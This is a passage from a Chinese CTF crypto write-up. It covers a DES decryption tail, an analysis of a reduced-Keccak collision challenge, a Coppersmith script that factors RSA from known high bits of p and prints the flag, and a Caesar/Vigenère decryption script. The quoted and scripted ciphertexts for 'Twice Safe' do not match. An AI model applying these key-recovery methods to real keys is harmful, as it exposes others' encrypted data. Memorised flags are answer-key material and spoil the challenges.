</span></span><span class="line"><span class="cl">    <span class="n">cipher</span> <span class="o">=</span> <span class="n">DES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">DES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="o">=</span><span class="n">IV</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">unpad</span><span class="p">(</span><span class="n">cipher</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">),</span> <span class="n">DES</span><span class="o">.</span><span class="n">block_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">ct</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="s2">&#34;+uH6grA85v22A5pmtue1Y7b/a490C4pKm5BA+Jf5LL+Z7B2g/GaO6Q==&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ct</span><span class="p">,</span> <span class="n">KEY</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><h3 id="probabilistic_sponge">
<a class="header-anchor" href="#probabilistic_sponge"></a>
probabilistic_sponge
</h3><p>题目分析</p>
<p>题面给的东西很少，核心就三份：</p>
<ul>
<li>challenge.py</li>
<li>README.md</li>
<li>论文2024-1136.pdf</li>
</ul>
<p>README.md只告诉我们最基本的交互方式：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">digest &lt;seed&gt;
</span></span><span class="line"><span class="cl">trace &lt;mode&gt; &lt;seed&gt;
</span></span><span class="line"><span class="cl">submit &lt;seed_a&gt; &lt;seed_b&gt; &lt;proof&gt;
</span></span></code></pre></div><p>输入是48-bit seed，本地可以算digest，远程还额外提供trace和submit。光看这个接口，很容易第一眼把它当成一道碰撞题，但真正把challenge.py读进去以后，会发现这题并不是随便找两个digest一样的seed。</p>
<p>先读公开代码</p>
<p>代码开头一组参数已经把题目的尺度说明白了：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">LANE_BITS</span> <span class="o">=</span> <span class="mi">8</span>
</span></span><span class="line"><span class="cl"><span class="n">STATE_LANES</span> <span class="o">=</span> <span class="mi">25</span>
</span></span><span class="line"><span class="cl"><span class="n">RATE_BYTES</span> <span class="o">=</span> <span class="mi">15</span>
</span></span><span class="line"><span class="cl"><span class="n">BLOCK_BYTES</span> <span class="o">=</span> <span class="mi">15</span>
</span></span><span class="line"><span class="cl"><span class="n">DIGEST_BYTES</span> <span class="o">=</span> <span class="mi">12</span>
</span></span><span class="line"><span class="cl"><span class="n">SEED_BITS</span> <span class="o">=</span> <span class="mi">48</span>
</span></span><span class="line"><span class="cl"><span class="n">LABEL_BITS</span> <span class="o">=</span> <span class="mi">15</span>
</span></span><span class="line"><span class="cl"><span class="n">CORE_BITS</span> <span class="o">=</span> <span class="mi">28</span>
</span></span><span class="line"><span class="cl"><span class="n">ROUNDS</span> <span class="o">=</span> <span class="mi">5</span>
</span></span></code></pre></div><p>这不是标准 SHA-3，是一份缩小到Keccak-f[200]规模的变种：</p>
<ul>
<li>状态宽度200bit</li>
<li>rate 120bit</li>
<li>输出96 bit</li>
<li>输入自由度48 bit</li>
<li>轮数只有5</li>
</ul>
<p>继续往下看keccak_f_200_5()，theta、rho/pi、chi、iota 这些典型步骤都还在，说明这题不是一个胡乱拼起来的toy hash，而是明显保留了Keccak内部结构，只是把参数压小了。</p>
<p>这时论文的作用也出来了。题面不是随便塞一篇论文，而是直接把你往SHA-3的collision / internal differential方向引。</p>
<p>关键点一：输入不是任意消息</p>
<p>最值得盯的是lift_seed()：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">lift_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">block</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">BASE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">SEED_BITS</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">seed</span> <span class="o">&gt;&gt;</span> <span class="n">i</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">vec</span> <span class="o">=</span> <span class="n">BASIS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">BLOCK_BYTES</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="n">block</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">^=</span> <span class="n">vec</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">block</span><span class="p">)</span>
</span></span></code></pre></div><p>它说明第二个消息块m1不是直接由seed编码出来，而是从一个固定BASE出发，再按位异或若干个BASIS[i]。换句话说，选手控制的不是全部15-byte消息块，而是一个48维仿射空间里的点：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">BASE xor 若干个 BASIS[i]
</span></span></code></pre></div><p>这会直接改变解题思路。既然输入本身带结构，那就不应该把它当成普通黑盒哈希去做生日碰撞，而应该想办法利用这个仿射空间。</p>
<p>关键点二：digest 不是简单截断</p>
<p>题目消息只有两块：</p>
<ol>
<li>第一块m0固定</li>
<li>第二块m1由seed经lift_seed()生成</li>
</ol>
<p>然后第二次置换时，代码特地保留了一份倒数第二轮的状态快照：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">if</span> <span class="n">keep_round4</span> <span class="ow">and</span> <span class="n">rnd</span> <span class="o">==</span> <span class="n">ROUNDS</span> <span class="o">-</span> <span class="mi">2</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">round4_state</span> <span class="o">=</span> <span class="n">state</span><span class="p">[:]</span>
</span></span></code></pre></div><p>后面真正输出digest时，也不是把最终状态随手截一段出来，而是把两部分信息混在了一起：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">final_state</span><span class="p">,</span> <span class="n">round4_state</span> <span class="o">=</span> <span class="n">_absorb_two_blocks</span><span class="p">(</span><span class="n">M0</span><span class="p">,</span> <span class="n">m1</span><span class="p">)</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">round4_rate</span> <span class="o">=</span> <span class="n">_state_to_bytes</span><span class="p">(</span><span class="n">round4_state</span><span class="p">)[:</span><span class="n">RATE_BYTES</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">gate</span> <span class="o">=</span> <span class="p">(</span><span class="o">...</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">((</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">LABEL_BITS</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">final_rate</span> <span class="o">=</span> <span class="n">_state_to_bytes</span><span class="p">(</span><span class="n">final_state</span><span class="p">)[:</span><span class="n">RATE_BYTES</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">core</span> <span class="o">=</span> <span class="p">(</span><span class="o">...</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">((</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">CORE_BITS</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">x</span> <span class="o">^</span> <span class="n">y</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">_stream_pad</span><span class="p">(</span><span class="n">gate</span><span class="p">),</span> <span class="n">_fanout</span><span class="p">(</span><span class="n">core</span><span class="p">)))</span>
</span></span></code></pre></div><p>所以从代码直接能看出来两件事：</p>
<ul>
<li>这个digest混入了中间轮信息。</li>
<li>出题人明显不希望你把它当成一个随机96-bit黑盒输出。</li>
</ul>
<p>题目为什么不像普通碰撞题？</p>
<p>如果只是一个普通 hash 碰撞题，最自然的想法就是围着输出长度打生日攻击。但这里有几个地方都在告诉我们，题目重点不在“瞎撞 digest”：</p>
<ul>
<li>输入不是任意消息，而是仿射消息族</li>
<li>轮数只有5</li>
<li>输出和中间状态耦合</li>
<li>题面还额外给了一篇讲SHA-3 collision / internal differential的论文</li>
</ul>
<p>论文里的关键词包括：</p>
<ul>
<li>internal differentials</li>
<li>collision subsets</li>
<li>probabilistic linearization</li>
<li>TIDA</li>
</ul>
<p>这几个词和公开代码正好是对得上的。输入空间是结构化的，轮数又被压低，输出还带了中间状态特征，这非常像在给internal differential一类方法创造落点。</p>
<p>所以这题更自然的理解应该是：</p>
<ul>
<li>先在公开代码里找内部结构</li>
<li>再把论文里的攻击框架当提示</li>
<li>最后借助远程接口去做筛选和验证</li>
</ul>
<p>trace 接口意味着什么</p>
<p>远程除了digest之外，还给了：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">trace &lt;mode&gt; &lt;seed&gt;
</span></span></code></pre></div><p>这玩意显然不是装饰。challenge.py本地根本没有trace的实现，说明远程额外暴露了某种内部观测值。题目到这里的味道就很明显了：本地代码负责告诉你结构，远程接口负责给你一些看不见但能测出来的信号。</p>
<p>因此一个很自然的做法是：</p>
<ol>
<li>先在本地把seed -&gt; m1 -&gt; state -&gt; digest这条链吃透。</li>
<li>再把远程trace当成额外标签，去观察不同seed在不同模式下的表现。</li>
<li>通过大量样本比较digest和trace的关联，筛出更有希望属于同一类的候选。</li>
</ol>
<p>这条思路并不花哨，但和题目给出的材料是完全一致的。</p>
<p>submit 在整条链里的位置</p>
<p>README.md还告诉我们，最后要：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">submit &lt;seed_a&gt; &lt;seed_b&gt; &lt;proof&gt;
</span></span></code></pre></div><p>并且proof 依赖当前连接的nonce，不能复用旧连接的数据。</p>
<p>这说明整道题不是“离线把答案算完再一次性提交”，而是：</p>
<ul>
<li>先在本地和远程交互里找到候选对</li>
<li>最后在真实会话里结合当前nonce完成提交</li>
</ul>
<p>整体解题路线</p>
<p>把这些信息串起来，这题比较顺的做法应该就是：</p>
<ol>
<li>从challenge.py看出这是一个缩减版Keccak结构，而不是普通toy hash。</li>
<li>注意到输入是仿射消息族，不能把它当任意消息空间。</li>
<li>注意到digest混入了中间状态，不是最终状态平凡截断。</li>
<li>结合论文，把注意力放到internal differential/collision subset这类结构性思路上。</li>
<li>利用远程trace接口做实验，把候选seed分层、分组、筛选。</li>
<li>找到满足要求的种子对后，在当前连接下结合nonce完成submit。</li>
</ol>
<p>总结</p>
<p>challenge.py告诉你输入空间和输出结构，论文告诉你该往哪类攻击上想，远程trace再给你做实验所需的额外信号。
所以真正的解题思路不是去撞 digest，而是先看懂这套缩减版Keccak结构，再利用远程观测把搜索压到更有希望的区域，最后完成带nonce的提交。</p>
<h3 id="missing-bits">
<a class="header-anchor" href="#missing-bits"></a>
Missing Bits
</h3><p>题目给了：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">n = 75051007676832812483317203404474485306114138306742530224980953782626664777979452204888667172682328964314118536271193239423686821076389484685446199359441031538994712239908920299296161228777767177239574726904478459672408936591601395363708591958418987729755420954682244422982558259554174460943893382288853672997
</span></span><span class="line"><span class="cl">e = 65537
</span></span><span class="line"><span class="cl">c = 1212469247770171140763079506007000666283938363655799107175226503650373119605128791104546247174648419442996494649964860326985429674192176126366156373415907492412614334258315315719614923698938822769147218680282563469155103177258195523357150412791623061377740626047012579990618823709130354784285438313397271161
</span></span><span class="line"><span class="cl">p_high = 11021036726340334590863953777218214765334603321634013828428218125924311693538290733467637406368191711023166888971119943868188779541233239917228323313287168
</span></span></code></pre></div><p>一眼看过去就是RSA，然后额外给了一个 p_high，题名还是Missing Bits，基本就是在说p 的高位给你了，低位没给全，让你自己补。那就设：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">p = p_high + x
</span></span></code></pre></div><p>其中x是缺失的低位部分。这题里缺的是 222 bit，所以有：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">0 &lt;= x &lt; 2^222
</span></span></code></pre></div><p>又因为p | n，所以</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">p_high + x ≡ 0 mod p
</span></span></code></pre></div><p>这是很标准的已知素因子高位、低位缺失的小根问题，直接上Coppersmith。Sage脚本如下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="mi">75051007676832812483317203404474485306114138306742530224980953782626664777979452204888667172682328964314118536271193239423686821076389484685446199359441031538994712239908920299296161228777767177239574726904478459672408936591601395363708591958418987729755420954682244422982558259554174460943893382288853672997</span>
</span></span><span class="line"><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">1212469247770171140763079506007000666283938363655799107175226503650373119605128791104546247174648419442996494649964860326985429674192176126366156373415907492412614334258315315719614923698938822769147218680282563469155103177258195523357150412791623061377740626047012579990618823709130354784285438313397271161</span>
</span></span><span class="line"><span class="cl"><span class="n">p_high</span> <span class="o">=</span> <span class="mi">11021036726340334590863953777218214765334603321634013828428218125924311693538290733467637406368191711023166888971119943868188779541233239917228323313287168</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">unknown_bits</span> <span class="o">=</span> <span class="mi">222</span>
</span></span><span class="line"><span class="cl"><span class="n">X</span> <span class="o">=</span> <span class="mi">2</span><span class="o">^</span><span class="n">unknown_bits</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">PR</span><span class="o">.&lt;</span><span class="n">x</span><span class="o">&gt;</span> <span class="o">=</span> <span class="n">PolynomialRing</span><span class="p">(</span><span class="n">Zmod</span><span class="p">(</span><span class="n">n</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">f</span> <span class="o">=</span> <span class="n">p_high</span> <span class="o">+</span> <span class="n">x</span>
</span></span><span class="line"><span class="cl"><span class="n">roots</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">small_roots</span><span class="p">(</span><span class="n">X</span><span class="o">=</span><span class="n">X</span><span class="p">,</span> <span class="n">beta</span><span class="o">=</span><span class="mf">0.5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">x0</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">roots</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p_high</span> <span class="o">+</span> <span class="n">x0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">q</span> <span class="o">=</span> <span class="n">n</span> <span class="o">//</span> <span class="n">p</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">phi</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">q</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">d</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">phi</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">q</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">m</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><p>跑一下就能把 x找出来，进而还原p，然后正常分解n 解密。最后得到：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">flag{C0pp3rsm1th_Att4ck_1s_S0_P0w3rfu1_7a2b}
</span></span></code></pre></div><p>这题本质上没什么弯子，就是经典的high bits of p+Coppersmith。看到p_high基本就该往这个方向想了。</p>
<h3 id="twice-safe">
<a class="header-anchor" href="#twice-safe"></a>
Twice Safe？
</h3><p>由题目要知道密文为<code>WbcuicysfWenbyjEiHsp</code></p>
<p>py加密如下</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">string</span> <span class="kn">import</span> <span class="n">ascii_letters</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">caesar_encrypt</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">shift</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">table</span> <span class="o">=</span> <span class="n">ascii_letters</span>
</span></span><span class="line"><span class="cl">    <span class="n">res</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">msg</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">table</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">idx</span> <span class="o">=</span> <span class="n">table</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">res</span> <span class="o">+=</span> <span class="n">table</span><span class="p">[(</span><span class="n">idx</span> <span class="o">+</span> <span class="n">shift</span><span class="p">)</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">table</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">res</span> <span class="o">+=</span> <span class="n">ch</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">res</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">vigenere_encrypt</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">res</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">ki</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">msg</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">ch</span><span class="o">.</span><span class="n">isalpha</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">ch</span><span class="o">.</span><span class="n">islower</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">                <span class="n">base</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;a&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">base</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;A&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="n">k</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">ki</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]</span><span class="o">.</span><span class="n">lower</span><span class="p">())</span> <span class="o">-</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;a&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="n">res</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">((</span><span class="nb">ord</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span> <span class="o">-</span> <span class="n">base</span> <span class="o">+</span> <span class="n">k</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span> <span class="o">+</span> <span class="n">base</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="n">ki</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">res</span> <span class="o">+=</span> <span class="n">ch</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">res</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">plaintext</span> <span class="o">=</span> <span class="s2">&#34;????????????????????&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">tmp</span> <span class="o">=</span> <span class="n">caesar_encrypt</span><span class="p">(</span><span class="n">plaintext</span><span class="p">,</span> <span class="err">?</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="n">vigenere_encrypt</span><span class="p">(</span><span class="n">tmp</span><span class="p">,</span> <span class="s2">&#34;MiKu&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>
</span></span></code></pre></div><p>由py加密的函数命名可知涉及凯撒和维吉尼亚</p>
<p>那解密脚本很好写了</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">string</span> <span class="kn">import</span> <span class="n">ascii_letters</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">vigenere_decrypt</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">res</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">ki</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">msg</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">ch</span><span class="o">.</span><span class="n">isalpha</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">ch</span><span class="o">.</span><span class="n">islower</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">                <span class="n">base</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;a&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">base</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;A&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="n">k</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">ki</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]</span><span class="o">.</span><span class="n">lower</span><span class="p">())</span> <span class="o">-</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;a&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="n">res</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">((</span><span class="nb">ord</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span> <span class="o">-</span> <span class="n">base</span> <span class="o">-</span> <span class="n">k</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span> <span class="o">+</span> <span class="n">base</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="n">ki</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">res</span> <span class="o">+=</span> <span class="n">ch</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">res</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="s2">&#34;WbsumyucfSarbujKmVmp&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># first reverse vigenere</span>
</span></span><span class="line"><span class="cl"><span class="n">tmp</span> <span class="o">=</span> <span class="n">vigenere_decrypt</span><span class="p">(</span><span class="n">cipher</span><span class="p">,</span> <span class="s2">&#34;MiKu&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[+] after vigenere:&#34;</span><span class="p">,</span> <span class="n">tmp</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># reverse caesar</span>
</span></span><span class="line"><span class="cl"><span class="n">table</span> <span class="o">=</span> <span class="n">ascii_letters</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">shift</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">52</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">res</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">tmp</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">table</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">idx</span> <span class="o">=</span> <span class="n">table</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">res</span> <span class="o">+=</span> <span class="n">table</span><span class="p">[(</span><span class="n">idx</span> <span class="o">-</span> <span class="n">shift</span><span class="p">)</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">table</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
